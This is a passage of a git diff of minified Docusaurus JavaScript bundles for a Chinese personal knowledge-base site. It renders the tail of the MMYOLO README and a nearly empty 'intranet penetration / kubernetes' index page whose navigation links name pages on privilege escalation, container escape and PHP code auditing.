\u3002"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:"\u7b97\u6cd5\u89e3\u8bfb"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/algorithm_descriptions/index.html#%E5%9F%BA%E7%A1%80%E5%86%85%E5%AE%B9",children:"\u5fc5\u5907\u57fa\u7840"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/algorithm_descriptions/model_design.md",children:"\u6a21\u578b\u8bbe\u8ba1\u76f8\u5173\u8bf4\u660e"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/algorithm_descriptions/index.html#%E7%AE%97%E6%B3%95%E5%8E%9F%E7%90%86%E5%92%8C%E5%AE%9E%E7%8E%B0%E5%85%A8%E8%A7%A3%E6%9E%90",children:"\u7b97\u6cd5\u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/YOLO%E7%B3%BB%E5%88%97%E8%A7%A3%E8%AF%BB/MMYOLO%E5%AE%9E%E7%8E%B0/yolov5_description",children:"YOLOv5 \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/YOLO%E7%B3%BB%E5%88%97%E8%A7%A3%E8%AF%BB/MMYOLO%E5%AE%9E%E7%8E%B0/rtmdet_description",children:"RTMDet \u539f\u7406\u548c\u5b9e\u73b0\u5168\u89e3\u6790"})}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:"\u7528\u6237\u6307\u5357"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/user_guides/index.html#%E8%AE%AD%E7%BB%83-%E6%B5%8B%E8%AF%95",children:"\u8bad\u7ec3 & \u6d4b\u8bd5"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/user_guides/config.md",children:"\u5b66\u4e60 YOLOv5 \u914d\u7f6e\u6587\u4ef6"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/user_guides/index.html#%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0%E9%83%A8%E7%BD%B2%E5%85%A8%E6%B5%81%E7%A8%8B",children:"\u4ece\u5165\u95e8\u5230\u90e8\u7f72\u5168\u6d41\u7a0b"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/user_guides/yolov5_tutorial.md",children:"YOLOv5 \u4ece\u5165\u95e8\u5230\u90e8\u7f72\u5168\u6d41\u7a0b"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/user_guides/index.html#%E5%AE%9E%E7%94%A8%E5%B7%A5%E5%85%B7",children:"\u5b9e\u7528\u5de5\u5177"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/user_guides/visualization.md",children:"\u53ef\u89c6\u5316\u6559\u7a0b"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/user_guides/useful_tools.md",children:"\u5b9e\u7528\u5de5\u5177"})}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:"\u7b97\u6cd5\u90e8\u7f72"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/algorithm_descriptions/index.html#%E9%83%A8%E7%BD%B2%E5%BF%85%E5%A4%87%E6%95%99%E7%A8%8B",children:"\u90e8\u7f72\u5fc5\u5907\u6559\u7a0b"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/deploy/basic_deployment_guide.md",children:"\u90e8\u7f72\u5fc5\u5907\u6559\u7a0b"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/algorithm_descriptions/index.html#%E9%83%A8%E7%BD%B2%E5%85%A8%E6%B5%81%E7%A8%8B%E8%AF%B4%E6%98%8E",children:"\u90e8\u7f72\u5168\u6d41\u7a0b\u8bf4\u660e"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/deploy/yolov5_deployment.md",children:"YOLOv5 \u90e8\u7f72\u5168\u6d41\u7a0b\u8bf4\u660e"})}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:"\u8fdb\u9636\u6307\u5357"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/advanced_guides/data_flow.md",children:"\u6570\u636e\u6d41"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/advanced_guides/how_to.md",children:"How to"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.a,{href:"docs/zh_cn/article.md",children:"\u89e3\u8bfb\u6587\u7ae0\u548c\u8d44\u6e90\u6c47\u603b"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u51c6\u6d4b\u8bd5\u548c\u6a21\u578b\u5e93",children:"\u57fa\u51c6\u6d4b\u8bd5\u548c\u6a21\u578b\u5e93"}),"\n",(0,l.jsxs)(n.p,{children:["\u6d4b\u8bd5\u7ed3\u679c\u548c\u6a21\u578b\u53ef\u4ee5\u5728 ",(0,l.jsx)(n.a,{href:"docs/zh_cn/model_zoo.md",children:"\u6a21\u578b\u5e93"})," \u4e2d\u627e\u5230\u3002"]}),"\n",(0,l.jsxs)(n.details,{open:!0,children:["\n",(0,l.jsx)(n.summary,{children:(0,l.jsx)(n.b,{children:"\u652f\u6301\u7684\u7b97\u6cd5"})}),"\n",(0,l.jsxs)(n.ul,{className:"contains-task-list",children:["\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",checked:!0,disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/yolov5",children:"YOLOv5"})]}),"\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",checked:!0,disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/yolox",children:"YOLOX"})]}),"\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",checked:!0,disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/rtmdet",children:"RTMDet"})]}),"\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",checked:!0,disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/yolov6",children:"YOLOv6"})]}),"\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/ppyoloe",children:"PPYOLOE"}),"(\u4ec5\u63a8\u7406)"]}),"\n",(0,l.jsxs)(n.li,{className:"task-list-item",children:[(0,l.jsx)(n.input,{type:"checkbox",disabled:!0})," ",(0,l.jsx)(n.a,{href:"configs/yolov7",children:"YOLOv7"}),"(\u4ec5\u63a8\u7406)"]}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.details,{open:!0,children:["\n",(0,l.jsxs)(n.div,{align:"center",children:["\n ",(0,l.jsx)(n.b,{children:"\u6a21\u5757\u7ec4\u4ef6"}),"\n"]}),"\n",(0,l.jsxs)(n.table,{align:"center",children:["\n ",(0,l.jsxs)(n.tbody,{children:["\n ",(0,l.jsxs)(n.tr,{align:"center",vAlign:"bottom",children:["\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsx)(n.b,{children:"Backbones"}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsx)(n.b,{children:"Necks"}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsx)(n.b,{children:"Loss"}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsx)(n.b,{children:"Common"}),"\n "]}),"\n "]}),"\n ",(0,l.jsxs)(n.tr,{vAlign:"top",children:["\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsxs)(n.ul,{children:["\n ",(0,l.jsx)(n.li,{children:"YOLOv5CSPDarknet"}),"\n ",(0,l.jsx)(n.li,{children:"YOLOXCSPDarknet"}),"\n ",(0,l.jsx)(n.li,{children:"EfficientRep"}),"\n ",(0,l.jsx)(n.li,{children:"CSPNeXt"}),"\n "]}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsxs)(n.ul,{children:["\n ",(0,l.jsx)(n.li,{children:"YOLOv5PAFPN"}),"\n ",(0,l.jsx)(n.li,{children:"YOLOv6RepPAFPN"}),"\n ",(0,l.jsx)(n.li,{children:"YOLOXPAFPN"}),"\n ",(0,l.jsx)(n.li,{children:"CSPNeXtPAFPN"}),"\n "]}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsxs)(n.ul,{children:["\n ",(0,l.jsx)(n.li,{children:"IoULoss"}),"\n "]}),"\n "]}),"\n ",(0,l.jsxs)(n.td,{children:["\n ",(0,l.jsx)(n.ul,{children:"\n "}),"\n "]}),"\n "]}),"\n\n \n "]})]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u5e38\u89c1\u95ee\u9898",children:"\u5e38\u89c1\u95ee\u9898"}),"\n",(0,l.jsxs)(n.p,{children:["\u8bf7\u53c2\u8003 ",(0,l.jsx)(n.a,{href:"docs/zh_cn/notes/faq.md",children:"FAQ"})," \u4e86\u89e3\u5176\u4ed6\u7528\u6237\u7684\u5e38\u89c1\u95ee\u9898\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"\u8d21\u732e\u6307\u5357",children:"\u8d21\u732e\u6307\u5357"}),"\n",(0,l.jsxs)(n.p,{children:["\u6211\u4eec\u611f\u8c22\u6240\u6709\u7684\u8d21\u732e\u8005\u4e3a\u6539\u8fdb\u548c\u63d0\u5347 MMYOLO \u6240\u4f5c\u51fa\u7684\u52aa\u529b\u3002\u6211\u4eec\u5c06\u6b63\u5728\u8fdb\u884c\u4e2d\u7684\u9879\u76ee\u6dfb\u52a0\u8fdb\u4e86",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/projects",children:"GitHub Projects"}),"\u9875\u9762\uff0c\u975e\u5e38\u6b22\u8fce\u793e\u533a\u7528\u6237\u80fd\u53c2\u4e0e\u8fdb\u8fd9\u4e9b\u9879\u76ee\u4e2d\u6765\u3002\u8bf7\u53c2\u8003",(0,l.jsx)(n.a,{href:".github/CONTRIBUTING.md",children:"\u8d21\u732e\u6307\u5357"}),"\u6765\u4e86\u89e3\u53c2\u4e0e\u9879\u76ee\u8d21\u732e\u7684\u76f8\u5173\u6307\u5f15\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"\u81f4\u8c22",children:"\u81f4\u8c22"}),"\n",(0,l.jsx)(n.p,{children:"MMYOLO \u662f\u4e00\u6b3e\u7531\u6765\u81ea\u4e0d\u540c\u9ad8\u6821\u548c\u4f01\u4e1a\u7684\u7814\u53d1\u4eba\u5458\u5171\u540c\u53c2\u4e0e\u8d21\u732e\u7684\u5f00\u6e90\u9879\u76ee\u3002\u6211\u4eec\u611f\u8c22\u6240\u6709\u4e3a\u9879\u76ee\u63d0\u4f9b\u7b97\u6cd5\u590d\u73b0\u548c\u65b0\u529f\u80fd\u652f\u6301\u7684\u8d21\u732e\u8005\uff0c\u4ee5\u53ca\u63d0\u4f9b\u5b9d\u8d35\u53cd\u9988\u7684\u7528\u6237\u3002 \u6211\u4eec\u5e0c\u671b\u8fd9\u4e2a\u5de5\u5177\u7bb1\u548c\u57fa\u51c6\u6d4b\u8bd5\u53ef\u4ee5\u4e3a\u793e\u533a\u63d0\u4f9b\u7075\u6d3b\u7684\u4ee3\u7801\u5de5\u5177\uff0c\u4f9b\u7528\u6237\u590d\u73b0\u5df2\u6709\u7b97\u6cd5\u5e76\u5f00\u53d1\u81ea\u5df1\u7684\u65b0\u6a21\u578b\uff0c\u4ece\u800c\u4e0d\u65ad\u4e3a\u5f00\u6e90\u793e\u533a\u63d0\u4f9b\u8d21\u732e\u3002"}),"\n",(0,l.jsx)(n.h2,{id:"\u5f15\u7528",children:"\u5f15\u7528"}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u4f60\u89c9\u5f97\u672c\u9879\u76ee\u5bf9\u4f60\u7684\u7814\u7a76\u5de5\u4f5c\u6709\u6240\u5e2e\u52a9\uff0c\u8bf7\u53c2\u8003\u5982\u4e0b bibtex \u5f15\u7528 MMYOLO"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-latex",children:"@misc{mmyolo2022,\n title={{MMYOLO: OpenMMLab YOLO} series toolbox and benchmark},\n author={MMYOLO Contributors},\n howpublished = {\\url{https://github.com/open-mmlab/mmyolo}},\n year={2022}\n}\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u5f00\u6e90\u8bb8\u53ef\u8bc1",children:"\u5f00\u6e90\u8bb8\u53ef\u8bc1"}),"\n",(0,l.jsxs)(n.p,{children:["\u8be5\u9879\u76ee\u91c7\u7528 ",(0,l.jsx)(n.a,{href:"LICENSE",children:"GPL 3.0 \u5f00\u6e90\u8bb8\u53ef\u8bc1"}),"\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"openmmlab-\u7684\u5176\u4ed6\u9879\u76ee",children:"OpenMMLab \u7684\u5176\u4ed6\u9879\u76ee"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmengine",children:"MMEngine"}),": OpenMMLab \u6df1\u5ea6\u5b66\u4e60\u6a21\u578b\u8bad\u7ec3\u57fa\u7840\u5e93"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmcv",children:"MMCV"}),": OpenMMLab \u8ba1\u7b97\u673a\u89c6\u89c9\u57fa\u7840\u5e93"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mim",children:"MIM"}),": MIM \u662f OpenMMlab \u9879\u76ee\u3001\u7b97\u6cd5\u3001\u6a21\u578b\u7684\u7edf\u4e00\u5165\u53e3"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmclassification",children:"MMClassification"}),": OpenMMLab \u56fe\u50cf\u5206\u7c7b\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdetection",children:"MMDetection"}),": OpenMMLab \u76ee\u6807\u68c0\u6d4b\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdetection3d",children:"MMDetection3D"}),": OpenMMLab \u65b0\u4e00\u4ee3\u901a\u7528 3D \u76ee\u6807\u68c0\u6d4b\u5e73\u53f0"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmrotate",children:"MMRotate"}),": OpenMMLab \u65cb\u8f6c\u6846\u68c0\u6d4b\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo",children:"MMYOLO"}),": OpenMMLab YOLO \u7cfb\u5217\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmsegmentation",children:"MMSegmentation"}),": OpenMMLab \u8bed\u4e49\u5206\u5272\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmocr",children:"MMOCR"}),": OpenMMLab \u5168\u6d41\u7a0b\u6587\u5b57\u68c0\u6d4b\u8bc6\u522b\u7406\u89e3\u5de5\u5177\u5305"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmpose",children:"MMPose"}),": OpenMMLab \u59ff\u6001\u4f30\u8ba1\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmhuman3d",children:"MMHuman3D"}),": OpenMMLab \u4eba\u4f53\u53c2\u6570\u5316\u6a21\u578b\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmselfsup",children:"MMSelfSup"}),": OpenMMLab \u81ea\u76d1\u7763\u5b66\u4e60\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmrazor",children:"MMRazor"}),": OpenMMLab \u6a21\u578b\u538b\u7f29\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmfewshot",children:"MMFewShot"}),": OpenMMLab \u5c11\u6837\u672c\u5b66\u4e60\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmaction2",children:"MMAction2"}),": OpenMMLab \u65b0\u4e00\u4ee3\u89c6\u9891\u7406\u89e3\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmtracking",children:"MMTracking"}),": OpenMMLab \u4e00\u4f53\u5316\u89c6\u9891\u76ee\u6807\u611f\u77e5\u5e73\u53f0"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmflow",children:"MMFlow"}),": OpenMMLab \u5149\u6d41\u4f30\u8ba1\u5de5\u5177\u7bb1\u4e0e\u6d4b\u8bd5\u57fa\u51c6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmediting",children:"MMEditing"}),": OpenMMLab \u56fe\u50cf\u89c6\u9891\u7f16\u8f91\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmgeneration",children:"MMGeneration"}),": OpenMMLab \u56fe\u7247\u89c6\u9891\u751f\u6210\u6a21\u578b\u5de5\u5177\u7bb1"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdeploy",children:"MMDeploy"}),": OpenMMLab \u6a21\u578b\u90e8\u7f72\u6846\u67b6"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmeval",children:"MMEval"}),": OpenMMLab \u673a\u5668\u5b66\u4e60\u7b97\u6cd5\u8bc4\u6d4b\u5e93"]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u6b22\u8fce\u52a0\u5165-openmmlab-\u793e\u533a",children:"\u6b22\u8fce\u52a0\u5165 OpenMMLab \u793e\u533a"}),"\n",(0,l.jsxs)(n.p,{children:["\u626b\u63cf\u4e0b\u65b9\u7684\u4e8c\u7ef4\u7801\u53ef\u5173\u6ce8 OpenMMLab \u56e2\u961f\u7684 ",(0,l.jsx)(n.a,{href:"https://www.zhihu.com/people/openmmlab",children:"\u77e5\u4e4e\u5b98\u65b9\u8d26\u53f7"}),"\uff0c\u52a0\u5165 OpenMMLab \u56e2\u961f\u7684 ",(0,l.jsx)(n.a,{href:"https://jq.qq.com/?_wv=1027&k=aCvMxdr3",children:"\u5b98\u65b9\u4ea4\u6d41 QQ \u7fa4"})]}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{src:"resources/zhihu_qrcode.jpg",height:"400"})," ",(0,l.jsx)(n.img,{src:"resources/qq_group_qrcode.jpg",height:"400"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u6211\u4eec\u4f1a\u5728 OpenMMLab \u793e\u533a\u4e3a\u5927\u5bb6"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\ud83d\udce2 \u5206\u4eab AI \u6846\u67b6\u7684\u524d\u6cbf\u6838\u5fc3\u6280\u672f"}),"\n",(0,l.jsx)(n.li,{children:"\ud83d\udcbb \u89e3\u8bfb PyTorch \u5e38\u7528\u6a21\u5757\u6e90\u7801"}),"\n",(0,l.jsx)(n.li,{children:"\ud83d\udcf0 \u53d1\u5e03 OpenMMLab \u7684\u76f8\u5173\u65b0\u95fb"}),"\n",(0,l.jsx)(n.li,{children:"\ud83d\ude80 \u4ecb\u7ecd OpenMMLab \u5f00\u53d1\u7684\u524d\u6cbf\u7b97\u6cd5"}),"\n",(0,l.jsx)(n.li,{children:"\ud83c\udfc3 \u83b7\u53d6\u66f4\u9ad8\u6548\u7684\u95ee\u9898\u7b54\u7591\u548c\u610f\u89c1\u53cd\u9988"}),"\n",(0,l.jsx)(n.li,{children:"\ud83d\udd25 \u63d0\u4f9b\u4e0e\u5404\u884c\u5404\u4e1a\u5f00\u53d1\u8005\u5145\u5206\u4ea4\u6d41\u7684\u5e73\u53f0"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u5e72\u8d27\u6ee1\u6ee1 \ud83d\udcd8\uff0c\u7b49\u4f60\u6765\u64a9 \ud83d\udc97\uff0cOpenMMLab \u793e\u533a\u671f\u5f85\u60a8\u7684\u52a0\u5165 \ud83d\udc6c"})]})}function a(e={}){const{wrapper:n}={...(0,h.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/072173b8.b096402f.js b/assets/js/072173b8.b096402f.js new file mode 100644 index 0000000..5df3236 --- /dev/null +++ b/assets/js/072173b8.b096402f.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7119],{28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>l});var s=n(96540);const r={},i=s.createContext(r);function o(e){const t=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function l(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),s.createElement(i.Provider,{value:t},e.children)}},85951:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>l,default:()=>u,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/README","title":"\u5185\u7f51\u6e17\u900f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"MSF\u63d0\u6743","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743"},"next":{"title":"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/"}}');var r=n(74848),i=n(28453);const o={},l="\u5185\u7f51\u6e17\u900f",c={},d=[];function a(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u5185\u7f51\u6e17\u900f",children:"\u5185\u7f51\u6e17\u900f"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:32:39"})]})})]})]})}function u(e={}){const{wrapper:t}={...(0,i.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/0779e051.09f8fa8b.js b/assets/js/0779e051.09f8fa8b.js new file mode 100644 index 0000000..c920e40 --- /dev/null +++ b/assets/js/0779e051.09f8fa8b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6293],{3538:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>a,contentTitle:()=>t,default:()=>p,frontMatter:()=>c,metadata:()=>l,toc:()=>d});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1","title":"PHP\u4ee3\u7801\u5ba1\u8ba1","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP/02.PHP\u4ee3\u7801\u5ba1\u8ba1.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/02.PHP","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/